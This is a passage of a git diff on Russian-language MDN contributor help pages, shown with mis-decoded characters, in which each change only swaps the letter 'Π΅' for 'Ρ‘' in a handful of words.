<dt><a href="/en-US/docs/MDN/Plans">ΠŸΠ»Π°Π½Ρ‹ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ</a></dt>
- <dd>Для Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ² созданы ΠΏΠ»Π°Π½Ρ‹ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‚ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π΅Ρ‰Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ. К Ρ‚Π°ΠΊΠΈΠΌ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°ΠΌ относятся ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹ Π½Π° стадии планирования ΠΈΠ»ΠΈ большиС, постоянныС ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹.</dd>
+ <dd>Для Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ² созданы ΠΏΠ»Π°Π½Ρ‹ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‚ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π΅Ρ‰Ρ‘ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ. К Ρ‚Π°ΠΊΠΈΠΌ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°ΠΌ относятся ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹ Π½Π° стадии планирования ΠΈΠ»ΠΈ большиС, постоянныС ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹.</dd>
<dt><a href="https://tree.taiga.io/project/viya-mdn-durable-team">MDN Taiga</a></dt>
<dd>Π¨Ρ‚Π°Ρ‚Π½Ρ‹Π΅ сотрудники MDN ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ инструмСнт ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ Taiga для управлСния Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΌΠΈ ΠΈ Π±ΡƒΠ΄ΡƒΡ‰ΠΈΠΌΠΈ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°ΠΌΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Ρ‡Π΅ΠΌ ΠΌΡ‹ занимаСмся ΠΈ ΠΊΠ°ΠΊΠΈΠ΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹ ΠΏΠ»Π°Π½ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π² блиТайшСм Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ. НСкоторыС ΠΈΠ· Π½ΠΈΡ… Π±ΡƒΠ΄ΡƒΡ‚ взяты Π½Π° сСбя ΡˆΡ‚Π°Ρ‚Π½Ρ‹ΠΌΠΈ сотрудниками, Π½ΠΎ Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Π·ΡΡ‚ΡŒΡΡ Π·Π° Π½ΠΈΡ…, Ссли Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅! Для получСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ ΠΆΠΈΠ²Ρ‹Ρ… тСхнологичСских процСссах, сопровоТдаСмых ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΠΉ MDN, смотритС Π½Π°ΡˆΡƒ <a href="https://wiki.mozilla.org/Engagement/MDN_Durable_Team/Processes"> Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Ρƒ тСхнологичСских процСссов Π½Π° Mozilla wiki</a>.</dd>
</dl>
@@ -97,7 +97,7 @@ original_slug: MDN/БообщСство/Working_in_community
<p>НаиболСС вСроятным мСстом, Π³Π΄Π΅ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΡΠ΅Ρ‡ΡŒΡΡ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ писатСлями являСтся IRC ΠΊΠ°Π½Π°Π» {{IRCLink("mdn")}}. Π­Ρ‚ΠΎΡ‚ ΠΊΠ°Π½Π°Π» Π·Π°Ρ€Π΅Π·Π΅Ρ€Π²ΠΈΡ€ΠΎΠ²Π°Π½ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ для дискуссий ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ. По ΠΏΠΎΠ²ΠΎΠ΄Ρƒ особСнностСй IRC этикСта смотритС ΡΡ‚Π°Ρ‚ΡŒΡŽ ΠΈΠ· Mozilla Support "<a href="https://quality.mozilla.org/docs/misc/getting-started-with-irc/" title="https://quality.mozilla.org/docs/misc/getting-started-with-irc/">Getting Started with IRC</a>". Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΈΡΠΊΡƒΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ с Π½Π°ΠΌΠΈ Ρ‚Π°ΠΊΠΆΠ΅ Π½Π° <a href="https://discourse.mozilla-community.org/c/mdn">Дискуссионном Ρ„ΠΎΡ€ΡƒΠΌΠ΅ MDN</a>. УмСстно Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ IRC, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ для быстрых, Π±ΠΎΠ»Π΅Π΅ Π»ΠΈΡ‡Π½Ρ‹Ρ… бСсСд, Π° дискуссионный Ρ„ΠΎΡ€ΡƒΠΌ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ для ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… бСсСд.</p>
-<p>ИмСя Π²Π²ΠΈΠ΄Ρƒ {{anch("ΠžΠ±Ρ‰Π΅Π΅ руководство ΠΏΠΎ этикСту")}}, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ всС ΠΈΠ΄Π΅Ρ‚ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΡ‡Π΅Π½ΡŒ Π³Π»Π°Π΄ΠΊΠΎ.</p>
+<p>ИмСя Π²Π²ΠΈΠ΄Ρƒ {{anch("ΠžΠ±Ρ‰Π΅Π΅ руководство ΠΏΠΎ этикСту")}}, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ всС ΠΈΠ΄Ρ‘Ρ‚ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΡ‡Π΅Π½ΡŒ Π³Π»Π°Π΄ΠΊΠΎ.</p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈ_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html b/files/ru/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html
index c2bbde2e7a..60cc6f7531 100644
--- a/files/ru/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html
+++ b/files/ru/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html
@@ -28,8 +28,8 @@ original_slug: MDN/Contribute/Howto/Create_an_MDN_account
<ol>
<li>Π’ Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части ΠΊΠ°ΠΆΠ΄ΠΎΠΉ страницы MDN Π΅ΡΡ‚ΡŒ кнопка с надписью <strong>Π’ΠΎΠΉΡ‚ΠΈ</strong>. НавСдитС курсор ΠΌΡ‹ΡˆΠΈ Π½Π° Π½Π΅Ρ‘ (ΠΈΠ»ΠΈ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ Π½Π° Π½Π΅Ρ‘, Ссли Π²Ρ‹ Π½Π° мобильном устройствС), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ список сСрвисов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌ для рСгистрации Π² MDN.</li>
<li>Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ Π°ΠΊΠΊΠ°ΡƒΠ½Ρ‚ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ <strong>Π’ΠΎΠΉΡ‚ΠΈ Π² систСму</strong>. БСйчас доступны GitHub ΠΈ Google. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Ссли Π²Ρ‹ Π²Ρ‹Π±Π΅Ρ€Π΅Ρ‚Π΅ GitHub, Ρ‚ΠΎ ссылка Π½Π° ваш GitHub-ΠΏΡ€ΠΎΡ„ΠΈΠ»ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π½Π°Β ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΎΠΉ ΡΡ‚Ρ€Π°Π½ΠΈΡ†Π΅Β Π²Π°ΡˆΠ΅Π³ΠΎ профиля MDN.</li>
- <li>Π‘Π»Π΅Π΄ΡƒΠΉΡ‚Π΅ инструкциям, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π²Ρ‹Π±Ρ€Π°Π½Π½ΡƒΡŽ ΡƒΡ‡Π΅Ρ‚Π½ΡƒΡŽ запись ΠΊ MDN (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β Ρ„ΠΎΡ€ΠΌΠ° для входа Ρ‡Π΅Ρ€Π΅Π·Β GitHub Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΊΠ°ΠΊ Π½Π° ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠ΅ Π½ΠΈΠΆΠ΅).</li>
- <li>ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ слуТба Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π²Π΅Ρ€Π½Π΅Ρ‚ вас Π½Π° сайт MDN, Π²Π°ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΎ ввСсти имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ MDN ΠΈ адрСс элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹. <em>Π’Π°ΡˆΠ΅ имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ Π²ΠΊΠ»Π°Π΄Π΅ Π² Ρ€Π°Π·Π²ΠΈΡ‚ΠΈΠ΅ сообщСства Π±Ρ‹Π»ΠΎ Π²ΠΈΠ΄Π½ΠΎ вашС авторство. НС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ свой адрСс элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹ Π² качСствС ΠΈΠΌΠ΅Π½ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ<strong>.</strong></em></li>
+ <li>Π‘Π»Π΅Π΄ΡƒΠΉΡ‚Π΅ инструкциям, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π²Ρ‹Π±Ρ€Π°Π½Π½ΡƒΡŽ ΡƒΡ‡Ρ‘Ρ‚Π½ΡƒΡŽ запись ΠΊ MDN (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β Ρ„ΠΎΡ€ΠΌΠ° для входа Ρ‡Π΅Ρ€Π΅Π·Β GitHub Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΊΠ°ΠΊ Π½Π° ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠ΅ Π½ΠΈΠΆΠ΅).</li>
+ <li>ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ слуТба Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π²Π΅Ρ€Π½Ρ‘Ρ‚ вас Π½Π° сайт MDN, Π²Π°ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΎ ввСсти имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ MDN ΠΈ адрСс элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹. <em>Π’Π°ΡˆΠ΅ имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ Π²ΠΊΠ»Π°Π΄Π΅ Π² Ρ€Π°Π·Π²ΠΈΡ‚ΠΈΠ΅ сообщСства Π±Ρ‹Π»ΠΎ Π²ΠΈΠ΄Π½ΠΎ вашС авторство. НС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ свой адрСс элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹ Π² качСствС ΠΈΠΌΠ΅Π½ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ<strong>.</strong></em></li>
<li>НаТмитС <strong>Π‘ΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΌΠΎΠΉ ΠΏΡ€ΠΎΡ„ΠΈΠ»ΡŒ MDN</strong>.</li>
<li>Если адрСс элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π² шагС 4, Π½Π΅ Ρ‚ΠΎ ΠΆΠ΅ самый, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Π½Π° Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠΌ для Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ сСрвисС, Ρ‚ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ свою ΡΠ»Π΅ΠΊΡ‚Ρ€ΠΎΠ½Π½ΡƒΡŽ ΠΏΠΎΡ‡Ρ‚Ρƒ ΠΈ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ Π½Π° ссылку Π² письмС с ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΈΠ΅ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΡ‹ выслали Π²Π°ΠΌ.</li>
</ol>
diff --git a/files/ru/orphaned/mdn/contribute/howto/do_a_technical_review/index.html b/files/ru/orphaned/mdn/contribute/howto/do_a_technical_review/index.html
index 8c5a6e29a5..de9763f692 100644
--- a/files/ru/orphaned/mdn/contribute/howto/do_a_technical_review/index.html
+++ b/files/ru/orphaned/mdn/contribute/howto/do_a_technical_review/index.html
@@ -41,7 +41,7 @@ original_slug: MDN/Contribute/Howto/Do_a_technical_review
<li><a id="core-steps" name="core-steps"></a>ΠŸΡ€ΠΎΡ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅ ΡΡ‚Π°Ρ‚ΡŒΡŽ, обращая ΠΏΡ€ΠΈΡΡ‚Π°Π»ΡŒΠ½ΠΎ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° тСхничСскиС Π΄Π΅Ρ‚Π°Π»ΠΈ: Π’Π΅Ρ€Π½Π° Π»ΠΈ ΡΡ‚Π°Ρ‚ΡŒΡ? Π§Π΅Π³ΠΎ-Ρ‚ΠΎ Π½Π΅ Ρ…Π²Π°Ρ‚Π°Π΅Ρ‚? НС ΡΡ‚Π΅ΡΠ½ΡΠΉΡ‚Π΅ΡΡŒ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒΡΡ Π½Π° Π΄Ρ€ΡƒΠ³ΡƒΡŽ ΡΡ‚Π°Ρ‚ΡŒΡŽ, Ссли выбранная Π½Π΅ устраиваСт Вас.</li>
<li>Если ошибок Π½Π΅Ρ‚, Ρ‚ΠΎ Π’Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡΡ‚Π°Ρ‚ΡŒΡŽ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ Π΅Ρ‘ ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Π½Π½ΡƒΡŽ. ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Π½Π° ΠΎΠΊΠ½ΠΎ "быстрого ΠΎΠ±Π·ΠΎΡ€Π°" Π² Π»Π΅Π²ΠΎΠΉ Π±ΠΎΠΊΠΎΠ²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ страницы:<br>
<br>
- Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ Ρ„Π»Π°ΠΆΠΎΠΊ <strong>ВСхничСский</strong>Β ΠΈ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ <strong>ΠžΠ±Π·ΠΎΡ€ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½</strong>.</li>
+ Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ Ρ„Π»Π°ΠΆΠΎΠΊ <strong>ВСхничСский</strong>Β ΠΈ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ <strong>ΠžΠ±Π·ΠΎΡ€ Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½</strong>.</li>
<li>Если Π’Ρ‹ нашли ошибки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ:
<ol>
<li>НаТмитС ΠΊΠ½ΠΎΠΏΠΊΡƒ <strong>Π Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ</strong> Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части страницы; ΠΎΠ½Π° пСрСмСстит Вас Π² <a href="/ru/MDN/Contribute/Editor" title="/ru/MDN/Contribute/Editor">Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ MDN</a>.</li>
diff --git a/files/ru/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html b/files/ru/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html
index 3556bb253c..1a29be1318 100644
--- a/files/ru/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html
+++ b/files/ru/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html
@@ -34,7 +34,7 @@ original_slug: MDN/Contribute/Howto/Do_an_editorial_review
<li><a id="core-steps" name="core-steps"></a>ΠŸΡ€ΠΎΡ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅ ΡΡ‚Π°Ρ‚ΡŒΡŽ, обращая ΠΏΡ€ΠΈΡΡ‚Π°Π»ΡŒΠ½ΠΎΠ΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° ΠΎΠΏΠ΅Ρ‡Π°Ρ‚ΠΊΠΈ ΠΈ орфографичСскиС, грамматичСскиС ΠΈΠ»ΠΈ ΠΎΠ±ΠΎΡ€ΠΎΡ‚Π½Ρ‹Π΅ ошибки. НС ΡΡ‚Π΅ΡΠ½ΡΠΉΡ‚Π΅ΡΡŒ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒΡΡ Π½Π° Π΄Ρ€ΡƒΠ³ΡƒΡŽ ΡΡ‚Π°Ρ‚ΡŒΡŽ, Ссли выбранная Π½Π΅ устраиваСт Вас.</li>
<li>Если ошибок Π½Π΅Ρ‚, Ρ‚ΠΎ Π’Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡΡ‚Π°Ρ‚ΡŒΡŽ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ Π΅Ρ‘ ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΡˆΠ΅Π΄ΡˆΡƒΡŽ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΡƒΡ€Ρƒ. ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Π½Π° ΠΎΠΊΠ½ΠΎ "быстрого ΠΎΠ±Π·ΠΎΡ€Π°" Π² Π»Π΅Π²ΠΎΠΉ Π±ΠΎΠΊΠΎΠ²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ страницы:<br>
<img alt=""><br>
- Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ Ρ„Π»Π°ΠΆΠΎΠΊ <strong>Π Π΅Π΄Π°ΠΊΡ†ΠΈΠΎΠ½Π½Ρ‹ΠΉ</strong> ΠΈ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ <strong>ΠžΠ±Π·ΠΎΡ€ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½</strong>.</li>
+ Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ Ρ„Π»Π°ΠΆΠΎΠΊ <strong>Π Π΅Π΄Π°ΠΊΡ†ΠΈΠΎΠ½Π½Ρ‹ΠΉ</strong> ΠΈ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ <strong>ΠžΠ±Π·ΠΎΡ€ Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½</strong>.</li>
<li>Если Π’Ρ‹ нашли ошибки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ:
<ol>
<li>НаТмитС ΠΊΠ½ΠΎΠΏΠΊΡƒ <strong>Π Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ</strong> Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части страницы; ΠΎΠ½Π° пСрСмСстит Вас Π²Β <a href="/ru/MDN/Contribute/Editor">Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ MDN</a>.</li>
diff --git a/files/ru/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html b/files/ru/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html
index ab6d1a6292..edcba6158f 100644
--- a/files/ru/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html
+++ b/files/ru/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html
@@ -12,7 +12,7 @@ original_slug: MDN/Contribute/Howto/Как_ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ_стра
<dt>Π§Ρ‚ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ?</dt>
<dd>Π’Ρ‹Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅Β ΡΠ»ΠΎΠ²Π° ΠΈ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ (SEO) ΡΡ‚Π°Ρ‚ΡŒΡŽ .</dd>
<dt><strong>Π“Π΄Π΅ это Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ?</strong></dt>
- <dd>На Π»ΡŽΠ±Ρ‹Ρ… страницах, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅Ρ‰Π΅ Π½Π΅ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹, Π»ΠΈΠ±ΠΎ Π½Π° страницах, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ достаточно Ρ…ΠΎΡ€ΠΎΡˆΠΎ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹.</dd>
+ <dd>На Π»ΡŽΠ±Ρ‹Ρ… страницах, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅Ρ‰Ρ‘ Π½Π΅ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹, Π»ΠΈΠ±ΠΎ Π½Π° страницах, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ достаточно Ρ…ΠΎΡ€ΠΎΡˆΠΎ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹.</dd>
<dt><strong>НСобходимыС знания ΠΈ Π½Π°Π²Ρ‹ΠΊΠΈ для выполнСния этого задания?</strong></dt>
<dd>Навыки использования MDN Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π°;Β Π²Π»Π°Π΄Π΅Π½ΠΈΠ΅ Английским языком Π½Π° ΡƒΡ€ΠΎΠ²Π½Π΅ - native; ΡƒΠΌΠ΅Π½ΠΈΠ΅ ΠΏΠΈΡΠ°Ρ‚ΡŒ SEO-ΡΡ‚Π°Ρ‚ΡŒΠΈ.</dd>
<dt><strong>Π§Ρ‚ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ для этого ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ?</strong></dt>
diff --git a/files/ru/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html b/files/ru/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html
index 81daf4193d..0145e2d7d6 100644
